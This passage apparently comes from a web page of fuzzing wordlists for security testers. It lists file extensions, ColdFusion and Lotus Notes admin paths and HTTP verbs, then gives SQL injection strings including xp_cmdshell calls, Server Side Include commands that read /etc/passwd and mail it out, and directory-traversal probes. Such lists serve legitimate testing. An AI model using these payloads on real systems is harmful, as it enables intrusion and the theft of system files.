/> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> # Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;<br /> # ll HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> 